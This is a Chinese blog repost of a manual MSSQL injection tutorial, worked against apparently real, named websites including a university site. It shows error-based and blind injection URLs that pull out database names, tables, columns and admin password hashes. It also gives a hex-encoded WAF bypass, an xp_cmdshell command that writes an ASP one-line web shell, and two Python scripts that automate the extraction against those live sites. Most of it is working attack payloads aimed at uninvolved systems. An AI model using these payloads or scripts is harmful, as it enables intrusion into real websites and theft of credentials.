mssql手工注入及绕过术

最新推荐文章于 2021-02-17 20:12:24 发布
最新推荐文章于 2021-02-17 20:12:24 发布
阅读量120 收藏
点赞数
文章标签： 数据库
原文链接：http://www.cnblogs.com/shellr00t/p/5310187.html
版权
 

报错注入：

 

- 例子：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1

 

【1】首先爆版本：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and @@version>0
报错信息：在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
Apr  2 2010 15:48:46
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' 转换成数据类型 int 时失败。

 

原因：＠＠version是mssql 的全局变量，如果我们把它写成这样 and @@version>0 那个后面的mssql就会强行把@@version 强行转换成数字，但是失败，所以就会将数据库信息暴露出来
同样：通过
@@SERVERNAME：爆计算机名称 

 

【2】：爆当前数据库名：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and db_name()>0
报错信息：在将 nvarchar 值 'kaifeng' 转换成数据类型 int 时失败。
【3】当前用户：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and User_Name()>0
报错信息：在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
Ps：如果看到dbo 那么多半当前数据库的用户是dba权限
【4】爆其他数据库:http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
报错信息：在将 nvarchar 值 'master' 转换成数据类型 int 时失败。
再爆其他的数据库则这么写：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
继续的话要这么写：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','kaifeng'))>0
【5】爆表则：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0)>0
例子：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all_objects where type='U' AND is_ms_shipped=0)>0
报错信息:在将 nvarchar 值 'FRIENDLINK' 转换成数据类型 int 时失败。
再爆其他表：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('FRIENDLINK'))>0
在继续：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('FRIENDLINK','FRIENDLINK1'))>0
【6】爆字段则：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from kaifeng.information_schema.columns where TABLE_NAME='A_WEBADMIN')>0
例如：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from kaifeng.information_schema.columns where TABLE_NAME='A_WEBADMIN')>0
报错信息：在将 nvarchar 值 'ID' 转换成数据类型 int 时失败。
再爆其他字段：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from kaifeng.information_schema.columns where TABLE_NAME='A_WEBADMIN' and COLUMN_NAME not in('ID'))>0
再继续：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from kaifeng.information_schema.columns where TABLE_NAME='A_WEBADMIN' and COLUMN_NAME not in('ID','A_USERNAME'))>0
【7】爆数据：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 字段 from 数据库名.表名)>0
例子：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and (select top 1 A_PASSWORD from A_WEBADMIN)>0
报错信息：在将 nvarchar 值 'B5A1EF8730200F93E50F4F5DEBBCAC0B' 转换成数据类型 int 时失败。

如果数据的权限是dba，且知道网站路径的话，那么我们就可以用这个语句来写一句话小马进去：
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

原理是sql server 支持堆叠查询，利用xp_cmdshell 可以执行cmd指令,cmd指令中用【echo 内容 > 文件】 可以写文件到磁盘里面

 

 

 

 

绕过waf防火墙的注入：
利用hex编码来绕过waf防火墙：
例子
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi
利用hackbar 这个工具的Encoding 底下的HEX Encoding轻松把字符串编码成为可以利用的hex
然后利用报错注入就可以轻松完爆这个网站
【1】爆数据库版本：
select convert(int,@@version) hex编码后：0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
然后我们这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)--
报错信息为：在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
Apr  2 2010 15:48:46
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
' 转换成数据类型 int 时失败。
【2】爆当前数据库
select convert(int,db_name()) hex 编码后：
0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929
然后我们这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929 eXeC(@s)--
报错信息为：在将 nvarchar 值 'qds0240012_db' 转换成数据类型 int 时失败。
【3】爆用户：
select convert(int,User_Name())
hex编码后：
0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。
【3】爆表：
select convert(int, (select top 1 name from qds0240012_db
.sys.all_objects where type='U' AND is_ms_shipped=0))
hex编码后：
0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d302929
我们这样注入：http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d302929 eXeC(@s)--
报错信息：在将 nvarchar 值 'CMS_ArticleClass' 转换成数据类型 int 时失败。
继续爆表：
select convert(int, (select top 1 name from qds0240012_db
.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('CMS_ArticleClass')))
hex编码后：
0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c61737327292929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c61737327292929 eXeC(@s)--
报错信息为：
在将 nvarchar 值 'CMS_Career' 转换成数据类型 int 时失败。
继续
select convert(int, (select top 1 name from qds0240012_db
.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('CMS_ArticleClass','CMS_Career')))
转换成hex:
0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c617373272c27434d535f43617265657227292929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c617373272c27434d535f43617265657227292929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'CMS_CareerClass' 转换成数据类型 int 时失败。

表为：

 

 

'CMS_ArticleClass','CMS_Career','CMS_CareerClass','CMS_Channel','CMS_Comment','Clz_Article','CMS_DrugsClass','CMS_Article','CMS_Fankui','CMS_Hospital','CMS_Message','CMS_Region_City','CMS_Topics','CMS_Region_District','CMS_Region_Province','CMS_SeekHelp','CMS_Sensitive','CMS_ShortMessage','CMS_TopicsClass','CMS_Drugs','CMS_Transaction','CMS_HospitalClass','CMS_Type','CMS_UserGroup','CJ_BianMa','CJ_GuiZe','CJ_IsDown','CJ_Item','CJ_LanMu','CJ_News','CJ_Pic','CJ_Site','Clz_Article_img','CMS_Userinfo','Clz_Channel','Clz_Column','Clz_Comment','Clz_Content','Clz_Image','Clz_Link','Clz_LinkCate','Clz_Model','Clz_Notice','Clz_Product','Clz_Solicitate','Clz_UserHome','CMS_Admin','CMS_AdminGroup','Clz_Video','Clz_WebSite','D99_Tmp','dtproperties','FeedBack','pangolin_test_table','syscommand','UserSign','vw_Channel','vw_Column','xiaolu','zzq_AD_AD','zzq_AD_Class'

 

 

 

爆表的程序：

 

# -*- coding utf-8 -*-  
# 爆表  
import urllib  
import urllib2  
import binascii  
import re  
import time  
tables= " '' "  
for counti  in range(100):  
    data= " select convert(int, (select top 1 name from qds0240012_db.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (%s))) " % tables  
    hexdata= " 0x "+binascii.b2a_hex(data)  
    urldatatemp={ " username ": " niuxinyi';dEcLaRe @s vArChAr(8000) sEt @s=%s eXeC(@s)-- " % hexdata}  
    urldata=urllib.urlencode(urldatatemp)  
    url= " http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx? "+urldata  
    headers={ " User-Agent ": " Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 ", " Host ": " www.ikcw.com "}  
     print url  
    req=urllib2.Request(url,headers=headers)  
    resul= ""  
     try:  
        urllib2.urlopen(req)  
     except urllib2.URLError,e:  
        resul= e.read()  
  
    math=re.search( " \'(.*)\' ",resul)  
    tablestemp=math.group()  
     print tablestemp  
    tables=tables+ " , "+tablestemp  
     print tables  
    time.sleep(10) 

 


【4】爆字段：
select convert(int,(select top 1 COLUMN_NAME from qds0240012_db.information_schema.columns where TABLE_NAME='CMS_Userinfo'))
hex编码：
0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f272929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f272929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'id' 转换成数据类型 int 时失败。
继续：
select convert(int,(select top 1 COLUMN_NAME from qds0240012_db.information_schema.columns where TABLE_NAME='CMS_Userinfo' and COLUMN_NAME not in ('id')))
hex编码：
0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f2720616e6420434f4c554d4e5f4e414d45206e6f7420696e202827696427292929

这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f2720616e6420434f4c554d4e5f4e414d45206e6f7420696e202827696427292929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'username' 转换成数据类型 int 时失败。
在继续：

select convert(int,(select top 1 COLUMN_NAME from qds0240012_db.information_schema.columns where TABLE_NAME='CMS_Userinfo' and COLUMN_NAME not in ('id','username')))
hex编码：
0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f2720616e6420434f4c554d4e5f4e414d45206e6f7420696e2028276964272c27757365726e616d6527292929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f2720616e6420434f4c554d4e5f4e414d45206e6f7420696e2028276964272c27757365726e616d6527292929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'nickname' 转换成数据类型 int 时失败。


CMS_Userinfo 字段：
'id','username','nickname','password','realname','problem','answer','gender','age','adminid','groupid','regip','joindate','lastip','lastvisitdate','digestposts','pageviews','popular','unwelcome','credits','extcredits1','extcredits2','extcredits3','extcredits4','extcredits5','extcredits6','extcredits7','extcredits8','avatar','email','onlinestate','onlineDate','vip','isalliance','status','phone','mobile','qq','msn','address','postcode','sitename','siteIntroduction','website','sitetype','income','expenditure','funds','birthday','province','district','city','logincount','integral','gold','top','headlines','recommend','audit','orderid','healthlevel','professional','post','isdelete','deletestaff','datetime','code','edu','national','remark','photo','usertype','yuyan','fuwuneirong','fuwushijian'


CMS_Admin字段：
'id','username','password','realname','lastloginip','lastlogintime','logincount','allowmultilogin','groupid','groupname'

【5】爆数据：

select convert(int,(select top 1 username from CMS_Admin))

hex编码：
0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120757365726e616d652066726f6d20434d535f41646d696e2929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120757365726e616d652066726f6d20434d535f41646d696e2929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'admin' 转换成数据类型 int 时失败。
继续，爆密码

select convert(int,(select top 1 password from CMS_Admin))
hex编码：
0x73656c65637420636f6e7665727428696e742c2873656c65637420746f7020312070617373776f72642066726f6d20434d535f41646d696e2929
这样注入：
http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f7020312070617373776f72642066726f6d20434d535f41646d696e2929 eXeC(@s)--
报错信息：
在将 nvarchar 值 'sOKhmQxCdfzQy8GPXSskPPIV73jEtf0xvNlvUT3LfsoWe6Cw4ZnsqSlsaYhkMJCR' 转换成数据类型 int 时失败。


盲注：
例子：
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明：
substring(str,start,len) 截取字符串的作用，第一个参数为要截取的字符串，第二个参数为从哪里开始截取，第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面，说明@@version的第一个字母的ascii 的值是77，查表可知为M
第二个字母的注入为：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同

来一个爆版本号的脚本：
#  -*- coding: gbk -*-  
import urllib2  
import urllib  
  
sqlcomm= " @@version "  
data = {  
         " t ": " 0 ",  
         " c ": " c1'/**/and/**/ascii(substring(@@version,1,1))=77 -- "  
        }  
def getlength():  
     for counti  in range(1000):  
        data[ " c "]= " c1'/**/and/**/len(%s)=%s/**/-- " % (sqlcomm,str(counti))  
        urldata=urllib.urlencode(data)  
        url= " http://wenfa.nchu.edu.cn/md.aspx? "+urldata  
        headers={ " User-Agent ": " Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 "}  
        req = urllib2.Request(url,headers=headers)  
        resul=urllib2.urlopen(req).read()  
         if len(resul)>34000:  
             return counti  
     return False  
  
def sendhttp(countn,sign,num):  
    data[ " c "]= " c1'/**/and/**/ascii(substring(%s,%s,1))%s%s/**/-- " % (sqlcomm,str(countn),sign,str(middle))  
    urldata=urllib.urlencode(data)  
    url= " http://wenfa.nchu.edu.cn/md.aspx? "+urldata  
    headers={ " User-Agent ": " Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 "}  
    req = urllib2.Request(url,headers=headers)  
    resul=urllib2.urlopen(req).read()  
     if len(resul)>34000:  
             return True  
     return False  
  
  
coutnum= getlength()  
for j  in range(1,coutnum+1):  
    min,max=0,140  
     while min<=max:  
        middle=(max+min)//2  
         if sendhttp(j, " = ",middle):  
             print chr(middle),  
             break  
         if sendhttp(j, " > ",middle):  
            min=middle+1  
         else:  
            max=middle-1 

 

 

【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常，则当前的数据库的名字为中文，则换成这样注入：wenfa.nchu.edu.cn/md.aspx?c=c1' /**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文，就是“文”字
最后注入发现当前数据库的为：文法学院




【3】爆表

wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top /**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0

【4】爆Tb_SysUser 表的字段：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/** /TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段：
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/** /TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0

【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0

 

转载于:https://www.cnblogs.com/shellr00t/p/5310187.html

weixin_30635053
关注
mysql手工注入绕过防火墙_mssql手工注入及绕过术
weixin_39710288的博客
02-06 145
例子：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1【1】首先爆版本：http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and @@version>0报错信息：在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.16...
mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗
7Riven's blog
11-07 3371
1.注入类型 布尔盲注：http://192.168.232.174/Test.aspx?id=1and ascii(substring((select top 1 name from master..sysdatabases),1,1))>100 验证如下： 时间盲注：http://192.168.232.174/test.aspx?id=1;if (ascii(substr...
分享几种绕过防注入的方法
weixin_30598225的博客
01-23 311
1、运用编码技术绕过如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2、通过空格绕过如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如or' swords' ='swords'，由于mssql的松散性，我们可以把or 'sword...
NBSI注入工具 一款很牛的sql注入工具
02-18
一款很牛的sql注入工具,我用过的很好用的
SQL手工注入绕过过滤
dielongxun4628的博客
08-27 343
1、考虑闭合：单引号 --> %27 空格-->%20 井号--> %23 ； 构造闭合函数 %27teacher%23 2、判断过滤内容：union --> uniunionon ; 联合查询过滤，再un后再加union ； 3、判断列数，使用Union 语法，union 后边语句要与前边已经执行的语句列数相同。 %27/**/ununionion...
msSQL注入通杀 只要有注入点就有系统权限.rar
07-09
msSQL注入通杀,只要有注入点就有系统权限
PHP、mysql（手工注入）
10-12
【PHP与MySQL手工注入详解】 在互联网开发中，PHP与MySQL是常见的服务器端脚本语言和数据库管理系统，广泛应用于网站的构建。然而，随着技术的发展，网络安全问题也日益凸显，其中“手工注入”就是一种针对PHP与...
mysql union as 注入_Mysql 手工注入【常规 Union 查询篇】
weixin_42499681的博客
02-17 288
文章来源于：lsh4ck's Blog在开始真正的注入技巧之前,我们先来大致回顾下必要的 mysql 数据库基础下面是注入 Mysql 时经常会用到的一些单行函数,熟练使用是灵活注入的前提,尤其是在对抗一些 Waf 的时候字符串连接函数,将多个字符串连接成一个字符串,注意,中间只要字符串有一个为空,最后结果也为空 同样是连接多个字符串,但可以在开头指定分隔符,跟 concat()稍微不同,它会自动...
sql server 2008 mysql 手工注入
03-25
当服务器执行这些被篡改的查询时，攻击者可以绕过权限限制，获取未授权的数据，甚至对数据库进行修改或删除操作。 对于SQL Server 2008，防止SQL注入的关键在于使用参数化查询或存储过程。参数化查询允许开发者将...
PHP+MySQL 手工注入语句大全 推荐
12-18
【PHP+MySQL手工注入语句】是Web安全领域的一个重要话题，主要涉及到SQL注入攻击，这是一种常见的黑客手段，用于利用不安全的SQL查询获取数据库中的敏感信息或执行恶意操作。以下是一些常用的PHP+MySQL手工注入语句...
绕安全狗mysql_Fuzz绕过安全狗4.0实现SQL注入
weixin_42125192的博客
02-05 314
0×00 前言本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本，对安全狗进行绕过。0×01注入绕waf过常用手法使用大小写绕过使用/**/注释符绕过使用大的数据包绕过使用/!**/注释符绕过……0×02本文使用的手法是/**/注释符首先搭建好一个有sql注入的测试平台，在服务器安装安全狗4.0版本中间件和数据库使用的是apache+mysql+php...
见招拆招：绕过WAF继续SQL注入常用方法
weixin_30764137的博客
06-20 719
　　这篇文章之前的名字叫做：WAF bypass for SQL injection #理论篇，我于6月17日投稿了Freebuf。链接：点击这里现博客恢复，特发此处。 　　Web Hacker总是生存在与WAF的不断抗争之中的，厂商不断过滤，Hacker不断绕过。WAF bypass是一个永恒的话题，不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是...
渗透测试之MSSQL简单绕过注入（declare函数）
LKmnbZ's Blog
11-08 1569
引进一个declare 函数，他是mssql声明局部变量的函数，我们经常用它来绕过waf对一些关键词的拦截 select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) -- http://192.168.20.155/test.aspx?i...
查sqlserver版本信息, 实例名, 服务器名以及SP,trigger等object的定义,列出表名
rav009的专栏
07-03 1492
select @@serviceNAME select @@version select @@SERVERNAME 查询某段SP, trigger的定义 select triggers.name as [触发器],tables.name as [表名],triggers.is_disabled as [是否禁用], triggers.is_instead_of_trigge
MSSQL中处理数据中空格和回车
select left('claro',2)的专栏
07-19 3615
朋友的问题，原文地址：http://topic.csdn.net/u/20110719/08/612e59e9-c964-471e-a659-3e8cd393fa7d.html--如何将数据中包含的空格和回车删除/* Microsoft SQL Server 2008 R2
数据库 'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\test1.mdf' 已存在。请选择其他数据库
热门推荐
qq_36609930的博客
06-08 1万+
关于asp.net编译中出现数据库 'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\test1.mdf' 已存在。请选择其他数据库名称。无法将文件 'D:\下载\VS2012_ULT_chs\test7\test7\App_Data\aspnet-test7-20180607165640.mdf' 作...
sqlserver 查询当前版本
weixin_30550271的博客
02-03 93
select SERVERPROPERTY('productversion'),SERVERPROPERTY('productlevel'),SERVERPROPERTY('edition' ) 转载于:https://www.cnblogs.com/liulf/archive/2012/02/03/2336699.html
MYSQL-手工SQL注入绕过技巧-实战篇
eT48_Sec
12-24 5958
之前遇到一个站点，经检测存在SQL注入，但是有WAF存在，后来知道是绿盟的WEB应用防火墙。 后来在社区看到了一篇关于《sql注入绕过技巧》的文章后（原文：http://zone.wooyun.org/content/16772），回过头来重新进行手工，这次总算干掉了WAF。以下是自己对于本次渗透的一些学习笔记，包含一些绕过waf的技巧。 首先判断注入点 id=161-(select
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值